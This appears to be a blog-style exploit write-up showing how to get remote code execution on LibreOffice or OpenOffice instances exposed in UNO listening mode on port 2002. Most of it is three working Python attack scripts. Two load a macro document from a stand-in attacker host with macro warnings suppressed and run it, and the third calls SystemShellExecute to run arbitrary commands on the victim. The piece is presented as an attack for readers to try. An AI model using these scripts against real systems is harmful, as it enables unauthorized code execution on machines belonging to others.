LibreOffice listening mode RCE
LibreOffice (as well as OpenOffice and other relatives) allows users to control the program remotely via listening mode.
This mode can be used on any supported platform (Windows, Linux, Mac OS X).
Everything you need is to start your office program with the following command:
soffice -accept="socket,host=0,port=2002;urp;"
or
soffice -accept="socket,host=0,port=2002;urp;" -headless -nologo -nodefault -nofirststartwizard
– if you don’t need graphical output.
Check if it is already started with NMap:
PORT STATE SERVICE VERSION
2002/tcp open urp UNO Remote Protocol (LibreOffice)
Office’s listening mode uses Universal Network Objects (UNO) component model. You can write your own scripts to interact with UNO API with python3-uno package.
There are several ways to execute command on remote system using UNO in LibreOffice.
I’ll show you the following three:
- Open a document with macro in it with MacroExecMode set to ALWAYS_EXECUTE_NO_WARN
- Open a document with macro and then call it with getScript method
- SystemShellExecute method
Each method can be used with macro security set to Very High.
ALWAYS_EXECUTE_NO_WARN method
Create a document with macro in it. You can use MSF’s /exploit/multi/misc/openoffice_document_macro or you can create it by yourself using Shell function of Basic language.
Assign your macro to document opening function via Tools -> Customize -> Open Document.
File can be accessed locally as well as remotely.
#!/usr/bin/env python3
import uno
from com.sun.star.beans import PropertyValue
docurl = "http://hacker.example.org/sploit.odt"
#docurl = "file:///tmp/uploaded/sploit.odt"
local = uno.getComponentContext()
resolver = local.ServiceManager.createInstanceWithContext("com.sun.star.bridge.UnoUrlResolver", local)
context = resolver.resolve("uno:socket,host=victim.example.org,port=2002;urp;StarOffice.ComponentContext")
desktop = context.ServiceManager.createInstanceWithContext("com.sun.star.frame.Desktop", context)
inProps = []
prop = PropertyValue()
prop.Name = "MacroExecutionMode"
prop.Value = 4 # ALWAYS_EXECUTE_NO_WARN
inProps.append(prop)
document = desktop.loadComponentFromURL(docurl, "_blank", 0, tuple(inProps))
document.dispose()
getScript method
Create a document with macro as in previous method, then directly call a macro inside the document with getScript and invoke.
#!/usr/bin/env python3
import uno
from com.sun.star.beans import PropertyValue
docurl = "http://hacker.example.org/sploit.odt"
#docurl = "file:///tmp/uploaded/sploit.odt"
local = uno.getComponentContext()
resolver = local.ServiceManager.createInstanceWithContext("com.sun.star.bridge.UnoUrlResolver", local)
context = resolver.resolve("uno:socket,host=victim.example.org,port=2002;urp;StarOffice.ComponentContext")
desktop = context.ServiceManager.createInstanceWithContext("com.sun.star.frame.Desktop", context)
document = desktop.loadComponentFromURL(docurl, "_blank", 0, tuple([]))
model = desktop.getCurrentComponent()
sp = model.getScriptProvider()
sc = sp.getScript("vnd.sun.star.script:Standard.Module1.Main?language=Basic&location=document")
sc.invoke((),(),())
document.dispose()
SystemShellExecute method
The best way to execute your command is to use execute method of XSystemShellExecute API interface. You don’t even need to create a document to use it.
#!/usr/bin/env python3
import uno
from com.sun.star.beans import PropertyValue
local = uno.getComponentContext()
resolver = local.ServiceManager.createInstanceWithContext("com.sun.star.bridge.UnoUrlResolver", local)
context = resolver.resolve("uno:socket,host=victim.example.org,port=2002;urp;StarOffice.ComponentContext")
rc = context.ServiceManager.createInstanceWithContext("com.sun.star.system.SystemShellExecute", context)
rc.execute("/usr/bin/touch", "/tmp/PWNED", 1)
Have fun.